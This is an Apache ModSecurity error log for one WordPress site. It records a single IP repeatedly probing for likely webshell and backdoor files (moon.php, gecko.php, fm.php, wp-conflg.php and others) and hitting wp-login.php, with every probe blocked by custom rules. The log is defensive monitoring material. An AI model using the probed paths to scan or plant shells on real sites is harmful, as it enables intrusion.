[Fri Apr 03 05:11:30.092864 2026] [:error] [pid 22778:tid 22800] [client 20.104.201.101:1645] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bgvS-q9hkdFqUjq9rXgAAAM8"]
[Fri Apr 03 05:11:30.433793 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1962] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "ac7bgqzrgXkFSOK0fvp7GAAAAEk"]
[Fri Apr 03 05:11:30.526350 2026] [:error] [pid 22672:tid 22740] [client 20.104.201.101:1976] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/config.php"] [unique_id "ac7bgqzrgXkFSOK0fvp7GgAAAFU"]
[Fri Apr 03 05:11:30.863888 2026] [:error] [pid 22672:tid 22741] [client 20.104.201.101:1726] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7bgqzrgXkFSOK0fvp7HgAAAFY"]
[Fri Apr 03 05:11:30.952524 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1892] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bgu-GlVDWdWxxwJB4BQAAAJg"]
[Fri Apr 03 05:11:31.278523 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1981] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7bg--GlVDWdWxxwJB4BgAAAIk"]
[Fri Apr 03 05:11:31.636266 2026] [:error] [pid 22778:tid 22788] [client 20.104.201.101:1881] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bg_S-q9hkdFqUjq9rYwAAAMM"]
[Fri Apr 03 05:11:32.049319 2026] [:error] [pid 22673:tid 22751] [client 20.104.201.101:2004] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bhO-GlVDWdWxxwJB4CwAAAIU"]
[Fri Apr 03 05:11:32.532924 2026] [:error] [pid 22671:tid 22711] [client 20.104.201.101:1712] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "ac7bhCRuUnMW7r8hvyY-SQAAABQ"]
[Fri Apr 03 05:11:32.964742 2026] [:error] [pid 22778:tid 22802] [client 20.104.201.101:1621] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ac7bhPS-q9hkdFqUjq9rawAAANE"]
[Fri Apr 03 05:11:33.511645 2026] [:error] [pid 22778:tid 22796] [client 20.104.201.101:1819] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "ac7bhfS-q9hkdFqUjq9rbwAAAMs"]
[Fri Apr 03 05:12:06.283708 2026] [:error] [pid 22672:tid 22740] [client 20.104.201.101:2027] [client 20.104.201.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.201.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7bpqzrgXkFSOK0fvp7YQAAAFU"]
[Fri Apr 03 05:12:20.920413 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1561] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ac7btPS-q9hkdFqUjq9r7wAAANM"]
[Fri Apr 03 05:12:34.215024 2026] [:error] [pid 58590:tid 58608] [client 20.104.201.101:1985] [client 20.104.201.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.201.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7bwkze_aEPDM9xEE2i-AAAARA"]
[Fri Apr 03 05:12:36.043930 2026] [:error] [pid 22672:tid 22730] [client 20.104.201.101:2027] [client 20.104.201.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.201.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7bxKzrgXkFSOK0fvp7uAAAAEs"]
[Fri Apr 03 05:12:46.039782 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1985] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "ac7bzkze_aEPDM9xEE2jDQAAAQ4"]
[Fri Apr 03 05:12:53.566503 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:1980] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Utility/cc.php"] [unique_id "ac7b1fS-q9hkdFqUjq9sfgAAAME"]
[Fri Apr 03 05:12:55.085675 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2032] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "ac7b10ze_aEPDM9xEE2jRAAAAQc"]
[Fri Apr 03 05:12:55.106399 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:1893] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "ac7b10ze_aEPDM9xEE2jRQAAARg"]
[Fri Apr 03 05:12:55.790942 2026] [:error] [pid 22672:tid 22738] [client 20.104.201.101:1964] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7b16zrgXkFSOK0fvp75wAAAFM"]
[Fri Apr 03 05:12:56.305370 2026] [:error] [pid 22672:tid 22722] [client 20.104.201.101:2046] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7b2KzrgXkFSOK0fvp76wAAAEM"]
[Fri Apr 03 05:12:56.855721 2026] [:error] [pid 22671:tid 22691] [client 20.104.201.101:1871] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/install.php"] [unique_id "ac7b2CRuUnMW7r8hvyY-1gAAAAA"]
[Fri Apr 03 05:12:56.902993 2026] [:error] [pid 22673:tid 22765] [client 20.104.201.101:2008] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7b2O-GlVDWdWxxwJB45gAAAJM"]
[Fri Apr 03 05:12:57.346224 2026] [:error] [pid 22673:tid 22759] [client 20.104.201.101:1878] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packed.php"] [unique_id "ac7b2e-GlVDWdWxxwJB47gAAAI0"]
[Fri Apr 03 05:12:57.905151 2026] [:error] [pid 58590:tid 58595] [client 20.104.201.101:1873] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/update.php"] [unique_id "ac7b2Uze_aEPDM9xEE2jTgAAAQM"]
[Fri Apr 03 05:12:57.908897 2026] [:error] [pid 22673:tid 22769] [client 20.104.201.101:1813] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/edit.php"] [unique_id "ac7b2e-GlVDWdWxxwJB48gAAAJc"]
[Fri Apr 03 05:12:58.356194 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1974] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/update.php"] [unique_id "ac7b2vS-q9hkdFqUjq9spAAAAMk"]
[Fri Apr 03 05:12:58.550093 2026] [:error] [pid 22778:tid 22799] [client 20.104.201.101:1903] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/edit.php"] [unique_id "ac7b2vS-q9hkdFqUjq9sqgAAAM4"]
[Fri Apr 03 05:12:58.870162 2026] [:error] [pid 22778:tid 22809] [client 20.104.201.101:2018] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/update.php"] [unique_id "ac7b2vS-q9hkdFqUjq9srgAAANg"]
[Fri Apr 03 05:12:59.222304 2026] [:error] [pid 22672:tid 22726] [client 20.104.201.101:1872] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/edit.php"] [unique_id "ac7b26zrgXkFSOK0fvp78wAAAEc"]
[Fri Apr 03 05:12:59.450325 2026] [:error] [pid 22671:tid 22706] [client 20.104.201.101:1989] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/update.php"] [unique_id "ac7b2yRuUnMW7r8hvyY-2gAAAA8"]
[Fri Apr 03 05:12:59.861924 2026] [:error] [pid 22673:tid 22759] [client 20.104.201.101:2025] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "ac7b2--GlVDWdWxxwJB4-AAAAI0"]
[Fri Apr 03 05:13:00.316543 2026] [:error] [pid 22671:tid 22694] [client 20.104.201.101:1759] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/edit.php"] [unique_id "ac7b3CRuUnMW7r8hvyY-3QAAAAM"]
[Fri Apr 03 05:13:00.384379 2026] [:error] [pid 22673:tid 22756] [client 20.104.201.101:1875] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "ac7b3O-GlVDWdWxxwJB4_AAAAIo"]
[Fri Apr 03 05:13:00.800745 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1865] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "ac7b3PS-q9hkdFqUjq9swgAAANU"]
[Fri Apr 03 05:13:01.224177 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:2003] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/fm.php"] [unique_id "ac7b3e-GlVDWdWxxwJB4_wAAAJE"]
[Fri Apr 03 05:13:01.582437 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:1874] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ac7b3fS-q9hkdFqUjq9syQAAAMY"]
[Fri Apr 03 05:13:01.679727 2026] [:error] [pid 22778:tid 22799] [client 20.104.201.101:1650] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ac7b3fS-q9hkdFqUjq9sywAAAM4"]
[Fri Apr 03 05:13:02.095392 2026] [:error] [pid 22778:tid 22789] [client 20.104.201.101:1895] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ac7b3vS-q9hkdFqUjq9s0gAAAMQ"]
[Fri Apr 03 05:13:02.549979 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1896] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ac7b3kze_aEPDM9xEE2jVQAAARQ"]
[Fri Apr 03 05:13:02.970371 2026] [:error] [pid 22673:tid 22757] [client 20.104.201.101:1876] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "ac7b3u-GlVDWdWxxwJB5AgAAAIs"]
[Fri Apr 03 05:13:03.261979 2026] [:error] [pid 22673:tid 22767] [client 20.104.201.101:1972] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ac7b3--GlVDWdWxxwJB5BAAAAJU"]
[Fri Apr 03 05:13:03.394543 2026] [:error] [pid 22672:tid 22720] [client 20.104.201.101:1879] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mu-plugins/gecko.php"] [unique_id "ac7b36zrgXkFSOK0fvp7_AAAAEE"]
[Fri Apr 03 05:13:03.807859 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1840] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mu-plugins/gecko.php"] [unique_id "ac7b3--GlVDWdWxxwJB5BQAAAJg"]
[Fri Apr 03 05:13:04.079428 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1970] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ac7b4O-GlVDWdWxxwJB5BgAAAIk"]
[Fri Apr 03 05:13:04.222151 2026] [:error] [pid 22673:tid 22748] [client 20.104.201.101:1911] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mu-plugins/gecko.php"] [unique_id "ac7b4O-GlVDWdWxxwJB5CQAAAII"]
[Fri Apr 03 05:13:04.653750 2026] [:error] [pid 22673:tid 22752] [client 20.104.201.101:1837] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/mu-plugins/gecko.php"] [unique_id "ac7b4O-GlVDWdWxxwJB5DAAAAIY"]
[Fri Apr 03 05:13:05.075414 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1861] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ac7b4Uze_aEPDM9xEE2jVgAAAQc"]
[Fri Apr 03 05:13:05.499956 2026] [:error] [pid 22673:tid 22757] [client 20.104.201.101:1939] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ac7b4e-GlVDWdWxxwJB5FAAAAIs"]
[Fri Apr 03 05:13:05.696453 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1949] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "ac7b4e-GlVDWdWxxwJB5FQAAAJY"]
[Fri Apr 03 05:13:05.946738 2026] [:error] [pid 22673:tid 22761] [client 20.104.201.101:1902] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ac7b4e-GlVDWdWxxwJB5FwAAAI8"]
[Fri Apr 03 05:13:06.364601 2026] [:error] [pid 58590:tid 58607] [client 20.104.201.101:2007] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/footer.php"] [unique_id "ac7b4kze_aEPDM9xEE2jXAAAAQ8"]
[Fri Apr 03 05:13:06.775470 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1809] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ac7b4vS-q9hkdFqUjq9s7wAAANU"]
[Fri Apr 03 05:13:07.190351 2026] [:error] [pid 22672:tid 22739] [client 20.104.201.101:1866] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ac7b46zrgXkFSOK0fvp8BQAAAFQ"]
[Fri Apr 03 05:13:07.614746 2026] [:error] [pid 22778:tid 22798] [client 20.104.201.101:1886] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ac7b4_S-q9hkdFqUjq9s-AAAAM0"]
